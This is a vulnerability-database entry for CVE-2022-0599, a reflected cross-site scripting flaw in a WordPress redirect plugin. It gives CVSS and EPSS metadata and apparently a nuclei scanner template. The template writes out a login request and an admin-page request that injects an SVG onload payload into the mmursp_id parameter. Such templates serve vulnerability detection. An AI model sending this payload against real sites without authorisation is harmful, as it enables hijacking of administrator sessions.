SecurityContext

CVE-2022-0599: WordPress Mapping Multiple URLs Redirect Same Page <=5.8 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.01439
  • Epss percentile: 0.73863
  • Cpe: cpe:2.3:a:mapping_multiple_urls_redirect_same_page_project:mapping_multiple_urls_redirect_same_page:*:*:*:*:*:wordpress:*:*

Metadata

  • Framework: wordpress
  • Max-request: 2
  • Product: mapping_multiple_urls_redirect_same_page
  • Vendor: mapping_multiple_urls_redirect_same_page_project

Products

ProductIndexedUrl
mapping_multiple_urls_redirect_same_page_project:mapping_multiple_urls_redirect_same_pageyes/v1/products/mapping_multiple_urls_redirect_same_page_project/mapping_multiple_urls_redirect_same_page

Labels

  • Name: WordPress Mapping Multiple URLs Redirect Same Page - Reflected XSS
  • Impact: Attackers can execute arbitrary scripts in admin context, potentially leading to session hijacking or admin account compromise.
  • Remediation: Update to the latest version of the plugin where the vulnerability is fixed or apply security patches that sanitize the 'mmursp_id' parameter.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs victim to click malicious URL
  • Labels source: projectdiscovery
  • From cve: CVE-2022-0599

```yaml

id: CVE-2022-0599

info:

name: WordPress Mapping Multiple URLs Redirect Same Page <=5.8 - Cross-Site Scripting

author: scent2d

severity: medium

description: |

WordPress Mapping Multiple URLs Redirect Same Page plugin 5.8 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the mmursp_id parameter before outputting it back in an admin page.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.

remediation: |

Update to the latest version of the WordPress Mapping Multiple URLs Redirect Same Page plugin (version 5.8 or higher) to mitigate this vulnerability.

reference:

- https://wpscan.com/vulnerability/4f1d45bc-d3bd-472c-959d-05abeff32765

- https://wordpress.org/plugins/mapping-multiple-urls-redirect-same-page/

- https://nvd.nist.gov/vuln/detail/cve-2022-0599

- https://github.com/ARPSyndicate/cvemon

- https://github.com/ARPSyndicate/kenzer-templates

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2022-0599

cwe-id: CWE-79

epss-score: 0.01439

epss-percentile: 0.73863

cpe: cpe:2.3:a:mapping_multiple_urls_redirect_same_page_project:mapping_multiple_urls_redirect_same_page:*:*:*:*:*:wordpress:*:*

metadata:

max-request: 2

vendor: mapping_multiple_urls_redirect_same_page_project

product: mapping_multiple_urls_redirect_same_page

framework: wordpress

tags: cve,cve2022,wordpress,wp-plugin,xss,wp,authenticated,wpscan,mapping_multiple_urls_redirect_same_page_project,vuln

http:

- raw:

- |

POST /wp-login.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

- |

GET /wp-admin/admin.php?page=mmursp-list&view=edit&mmursp_id="><svg/onload=alert(document.domain)> HTTP/1.1

Host: {{Hostname}}

matchers-condition: and

matchers:

- type: dsl

dsl:

- 'status_code_2 == 200'

- 'contains(header_2, "text/html")'

condition: and

- type: word

part: body

words:

- 'id="mmursp_id" value="\"><svg/onload=alert(document.domain)>" />'

digest: 4b0a00483046022100a426c5b3622eca1e8f2221810d8856cf989911c72bd36826bb3e5b781260f5320221008484c909f99ec3a47c4d1a97a1b2a55d254cc13c98a30e75c2907b2e3073799c:922c64590222798bb761d5b6d8e72950

```